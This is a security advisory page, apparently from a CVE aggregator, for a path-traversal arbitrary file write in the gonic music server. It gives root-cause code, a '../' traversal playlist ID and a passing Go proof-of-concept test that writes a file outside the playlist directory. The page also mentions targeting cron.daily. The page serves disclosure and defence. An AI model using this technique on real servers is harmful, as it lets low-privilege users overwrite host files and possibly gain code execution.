🛡️ CVE-2026-49340 — gonic

🟠 CVSS 8.1 — High ✅ No Known Exploit CWE-22 NVD
8.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host

Summary

A logic error in ServeCreateOrUpdatePlaylist allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with 0o777 permissions.

The bug is independent of the playlist ownership IDOR fixed in [6dd71e6](https://github.com/sentriz/gonic/commit/6dd71e6): it is an unreachable guard clause combined with no path containment in Store.Write.

Root cause — unreachable guard clause

server/ctrlsubsonic/handlers_playlist.go:74-90:

```go

func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {

user := r.Context().Value(CtxUser).(*db.User)

params := r.Context().Value(CtxParams).(params.Params)

playlistID, _ := params.GetFirstID("id", "playlistId")

playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded

var playlist playlistp.Playlist

if playlistPath != "" {

if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {

// ^^^^^^^^^^^^^^^^^^^^^^^^^

// this condition is UNREACHABLE

playlist = *pl

}

}

if playlist.UserID != 0 && playlist.UserID != user.ID {

return spec.NewError(50, "you aren't allowed update that user's playlist")

}

...

```

playlist.Store.Read (playlist/playlist.go:88-144) returns either (*Playlist, nil) on success or (nil, err) on any failure path. There is no return path of (non-nil, non-nil-err).

So the inner branch err != nil && pl != nil is always false, the playlist = *pl assignment never executes, and playlist stays at its zero value with UserID = 0. The subsequent guard playlist.UserID != 0 && playlist.UserID != user.ID simplifies to false && (anything) and always passes, regardless of who owns the target path.

Root cause — no path containment in Store.Write

playlist/playlist.go:146-160:

```go

func (s *Store) Write(relPath string, playlist *Playlist) error {

defer lock(&s.mu)()

if err := sanityCheck(s.basePath); err != nil {

return err

}

absPath := filepath.Join(s.basePath, relPath)

if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable!

return fmt.Errorf("make m3u base dir: %w", err)

}

file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open

...

if err := file.Truncate(0); err != nil { // wipe existing

...

}

```

filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything") resolves to /var/lib/gonic/etc/cron.daily/anything — Go's filepath.Join does NOT prevent .. traversal. Combined with the missing guard above, any authenticated user controls the destination path.

Live PoC — passing Go test

Drop this into server/ctrlsubsonic/handlers_playlist_write_traversal_test.go and run go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v:

```go

package ctrlsubsonic

import (

"net/url"

"os"

"path/filepath"

"testing"

"github.com/stretchr/testify/require"

)

func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {

f := newFixture(t)

// playlistStore.basePath = <tmp>/playlists/. A relPath of "../injected.m3u"

// resolves under the parent <tmp> dir — escaping the playlists/ subtree.

traversalRel := filepath.Join("..", "injected.m3u")

traversalID := playlistIDEncode(traversalRel).String()

// f.alt is the NON-ADMIN user (ID=2).

resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{

"id": {traversalID},

"name": {"injected-by-low-priv-user"},

})

t.Logf("resp: %+v", string(resp))

tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)

target := filepath.Join(tmpDir, "injected.m3u")

stat, err := os.Stat(target)

require.NoError(t, err, "VULNERABLE if the file exists outside playlists/")

require.False(t, stat.IsDir())

contents, err := os.ReadFile(target)

require.NoError(t, err)

t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents))

}

```

Test output against current master HEAD 6dd71e6:

```

=== RUN TestCreatePlaylistArbitraryWrite_RawPath

resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,

"playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",...,

"owner":"alt","songCount":0,...}}}

VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u

#GONIC-NAME:"injected-by-low-priv-user"

#GONIC-COMMENT:""

#GONIC-IS-PUBLIC:"false"

--- PASS: TestCreatePlaylistArbitrar

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability high.

Weakness class

CVE-2026-49340 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-49340 is recorded against 2 packages.

  • go.senan.xyz/gonic
  • unknown

Timeline and source

Published on 26 June 2026 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
CWE CWE-22
Public Exploit ✅ No
Source NVD
Published 2026-06-26
Updated 2026-08-12
Modified 2026-07-07
Fix URL N/A

Affected Packages

Software From version Fixed in
go.senan.xyz/gonic
unknown

Similar Threats

Site Security Check

Is gonic part of your stack?

CVE-2026-49340 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026